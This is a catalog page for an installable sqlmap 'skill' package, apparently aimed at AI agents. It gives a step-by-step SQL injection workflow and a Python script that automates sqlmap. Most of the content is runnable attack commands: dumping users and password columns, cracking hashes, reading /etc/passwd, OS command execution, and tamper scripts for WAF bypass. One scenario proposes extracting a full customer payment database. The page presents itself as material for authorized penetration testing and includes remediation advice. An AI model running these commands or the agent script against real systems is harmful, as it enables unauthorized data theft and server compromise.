web application security

Exploiting SQL Injection with sqlmap

Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.

database-securityowasppenetration-testingsql-injectionsqlmapweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • During authorized web application penetration testing engagements
  • When manual testing reveals potential SQL injection points in parameters, headers, or cookies
  • For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
  • When you need to demonstrate the impact of SQL injection by extracting data from backend databases
  • During CTF challenges involving SQL injection exploitation

Prerequisites

  • Authorization: Written penetration testing agreement (Rules of Engagement) for the target
  • sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
  • Python 3.6+: Required runtime for sqlmap
  • Burp Suite (optional): For capturing and replaying HTTP requests
  • Target access: Network connectivity to the target web application
  • Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1
 
# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
 
# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent
 
# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent
 
# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
 
# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent
 
# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent
 
# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent
 
# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent
 
# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent
 
# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent
 
# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent
 
# List all available tamper scripts
sqlmap --list-tampers

Step 7: Generate Report and Clean Up

Document findings and clean up any artifacts.

# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/
 
# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent
 
# Clean sqlmap session data after engagement
sqlmap --purge

Key Concepts

Concept Description
Union-based SQLi Uses UNION SELECT to append attacker query results to the original query output
Blind Boolean SQLi Infers data one bit at a time by observing true/false application responses
Blind Time-based SQLi Uses database sleep functions (e.g., SLEEP(5)) to infer data based on response delays
Error-based SQLi Extracts data through verbose database error messages returned in HTTP responses
Stacked Queries Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations
Out-of-band SQLi Exfiltrates data via DNS or HTTP requests initiated by the database server
Tamper Scripts sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters
Second-order SQLi Injected payload is stored and executed later in a different query context

Tools & Systems

Tool Purpose
sqlmap Automated SQL injection detection and exploitation framework
Burp Suite Professional HTTP proxy for intercepting, modifying, and replaying requests
OWASP ZAP Free alternative to Burp for web application scanning and proxying
Havij Automated SQL injection tool with GUI (Windows)
jSQL Injection Java-based GUI tool for SQL injection testing
DBeaver/DataGrip Database clients for verifying extracted data structure

Common Scenarios

Scenario 1: E-commerce Product Page SQLi

A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.

Scenario 2: Login Form Bypass

A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.

Scenario 3: Search Function with WAF Protection

A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.

Scenario 4: Cookie-based Blind SQL Injection

A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.

Output Format

## SQL Injection Finding
 
**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection
 
### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No
 
### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql
 
### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at
 
### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.1 KB

API Reference: sqlmap Automation Agent

Dependencies

Library Version Purpose
sqlmap >=1.7 SQL injection detection and exploitation (subprocess)

CLI Usage

# Detection scan
python scripts/agent.py --url "https://target.com/page?id=1" --param id --action detect
 
# Enumerate databases
python scripts/agent.py --url "https://target.com/page?id=1" --action dbs
 
# List tables
python scripts/agent.py --url "https://target.com/page?id=1" --action tables --database target_db
 
# Dump table rows
python scripts/agent.py --url "https://target.com/page?id=1" --action dump \
  --database target_db --table users
 
# Check privileges
python scripts/agent.py --url "https://target.com/page?id=1" --action privs

Functions

find_sqlmap() -> str

Searches common paths for the sqlmap binary.

run_detection_scan(sqlmap_bin, url, param, request_file, cookie, tamper) -> dict

Runs sqlmap --batch --random-agent and parses output for injectability, DB type, and techniques.

enumerate_databases(sqlmap_bin, url, param, cookie) -> list

Runs sqlmap --dbs and extracts database names from output.

enumerate_tables(sqlmap_bin, url, database, param, cookie) -> list

Runs sqlmap -D db --tables and parses table names.

dump_table(sqlmap_bin, url, database, table, columns, limit, param, cookie) -> dict

Runs sqlmap -D db -T tbl --dump --start=1 --stop=N.

check_privileges(sqlmap_bin, url, param, cookie) -> dict

Runs --current-user --current-db --is-dba to assess DB privileges.

sqlmap Flags Used

Flag Purpose
--batch Non-interactive mode
--random-agent Randomize User-Agent header
-p Specify injectable parameter
--tamper Apply WAF bypass tamper scripts
--dbs Enumerate databases
--tables Enumerate tables
--dump Extract table data
--is-dba Check DBA privileges

Output Schema

{
  "action": "detect",
  "url": "https://target.com/page?id=1",
  "result": {
    "injectable": true,
    "database": "MySQL",
    "techniques": ["boolean-based", "UNION query"]
  }
}

Scripts 1

agent.py8.1 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""sqlmap automation agent for orchestrating SQL injection scans via subprocess."""

import argparse
import json
import logging
import subprocess
import sys
from datetime import datetime
from typing import List, Optional

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def find_sqlmap() -> str:
    """Locate the sqlmap executable."""
    for path in ["sqlmap", "sqlmap.py", "/usr/bin/sqlmap", "/usr/local/bin/sqlmap"]:
        try:
            subprocess.run([path, "--version"], capture_output=True, timeout=5)
            return path
        except (FileNotFoundError, subprocess.TimeoutExpired):
            continue
    sys.exit("sqlmap not found. Install: pip install sqlmap")


def run_detection_scan(sqlmap_bin: str, url: str, param: Optional[str] = None,
                        request_file: Optional[str] = None,
                        cookie: str = "", tamper: str = "") -> dict:
    """Run sqlmap detection scan and parse results."""
    cmd = [sqlmap_bin, "--batch", "--random-agent", "--output-dir=/tmp/sqlmap_out"]

    if request_file:
        cmd.extend(["-r", request_file])
    else:
        cmd.extend(["-u", url])

    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])
    if tamper:
        cmd.extend(["--tamper", tamper])

    logger.info("Running: %s", " ".join(cmd))
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)

    output = result.stdout
    injectable = "is vulnerable" in output.lower() or "injectable" in output.lower()
    db_type = _extract_db_type(output)
    techniques = _extract_techniques(output)

    return {
        "scan_type": "detection",
        "url": url or request_file,
        "injectable": injectable,
        "database": db_type,
        "techniques": techniques,
        "exit_code": result.returncode,
    }


def enumerate_databases(sqlmap_bin: str, url: str, param: Optional[str] = None,
                         cookie: str = "") -> List[str]:
    """Enumerate databases using sqlmap --dbs."""
    cmd = [sqlmap_bin, "-u", url, "--dbs", "--batch", "--random-agent"]
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    databases = []
    in_db_section = False
    for line in result.stdout.split("\n"):
        if "available databases" in line.lower():
            in_db_section = True
            continue
        if in_db_section and line.strip().startswith("[*]"):
            db_name = line.strip().replace("[*] ", "")
            databases.append(db_name)
        elif in_db_section and not line.strip():
            break

    logger.info("Found %d databases", len(databases))
    return databases


def enumerate_tables(sqlmap_bin: str, url: str, database: str,
                      param: Optional[str] = None, cookie: str = "") -> List[str]:
    """Enumerate tables in a specific database."""
    cmd = [sqlmap_bin, "-u", url, "-D", database, "--tables",
           "--batch", "--random-agent"]
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    tables = []
    for line in result.stdout.split("\n"):
        stripped = line.strip()
        if stripped.startswith("| ") and not stripped.startswith("+-"):
            table_name = stripped.strip("| ").strip()
            if table_name and table_name != "Table":
                tables.append(table_name)

    logger.info("Found %d tables in %s", len(tables), database)
    return tables


def dump_table(sqlmap_bin: str, url: str, database: str, table: str,
                columns: Optional[List[str]] = None, limit: int = 10,
                param: Optional[str] = None, cookie: str = "") -> dict:
    """Dump rows from a specific table with optional column and row limit."""
    cmd = [sqlmap_bin, "-u", url, "-D", database, "-T", table, "--dump",
           "--start=1", f"--stop={limit}", "--batch", "--random-agent"]
    if columns:
        cmd.extend(["-C", ",".join(columns)])
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    return {
        "database": database,
        "table": table,
        "limit": limit,
        "output": result.stdout[-2000:] if len(result.stdout) > 2000 else result.stdout,
        "exit_code": result.returncode,
    }


def check_privileges(sqlmap_bin: str, url: str, param: Optional[str] = None,
                      cookie: str = "") -> dict:
    """Check current database user and DBA privileges."""
    cmd = [sqlmap_bin, "-u", url, "--current-user", "--current-db", "--is-dba",
           "--batch", "--random-agent"]
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    output = result.stdout

    current_user = _extract_value(output, "current user")
    current_db = _extract_value(output, "current database")
    is_dba = "true" in output.lower().split("current user is DBA")[-1][:20].lower() if "current user is DBA" in output else False

    return {"current_user": current_user, "current_db": current_db, "is_dba": is_dba}


def _extract_db_type(output: str) -> str:
    for db in ["MySQL", "PostgreSQL", "Microsoft SQL Server", "Oracle", "SQLite"]:
        if db.lower() in output.lower():
            return db
    return "unknown"


def _extract_techniques(output: str) -> List[str]:
    techniques = []
    for tech in ["boolean-based", "error-based", "UNION query", "stacked queries",
                 "time-based", "inline query"]:
        if tech.lower() in output.lower():
            techniques.append(tech)
    return techniques


def _extract_value(output: str, label: str) -> str:
    for line in output.split("\n"):
        if label.lower() in line.lower():
            parts = line.split(":")
            if len(parts) > 1:
                return parts[-1].strip().strip("'\"")
    return ""


def main():
    parser = argparse.ArgumentParser(description="sqlmap Automation Agent")
    parser.add_argument("--url", required=True, help="Target URL with injectable param")
    parser.add_argument("--param", help="Specific parameter to test")
    parser.add_argument("--cookie", default="", help="Cookie header value")
    parser.add_argument("--tamper", default="", help="Tamper scripts (comma-separated)")
    parser.add_argument("--action", choices=["detect", "dbs", "tables", "dump", "privs"],
                         default="detect")
    parser.add_argument("--database", help="Database name for table/dump actions")
    parser.add_argument("--table", help="Table name for dump action")
    parser.add_argument("--output", default="sqlmap_report.json")
    args = parser.parse_args()

    sqlmap_bin = find_sqlmap()
    report = {"action": args.action, "url": args.url, "timestamp": datetime.utcnow().isoformat()}

    if args.action == "detect":
        report["result"] = run_detection_scan(sqlmap_bin, args.url, args.param,
                                               cookie=args.cookie, tamper=args.tamper)
    elif args.action == "dbs":
        report["databases"] = enumerate_databases(sqlmap_bin, args.url, args.param, args.cookie)
    elif args.action == "tables" and args.database:
        report["tables"] = enumerate_tables(sqlmap_bin, args.url, args.database, args.param, args.cookie)
    elif args.action == "dump" and args.database and args.table:
        report["dump"] = dump_table(sqlmap_bin, args.url, args.database, args.table,
                                     param=args.param, cookie=args.cookie)
    elif args.action == "privs":
        report["privileges"] = check_privileges(sqlmap_bin, args.url, args.param, args.cookie)

    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
Keep exploring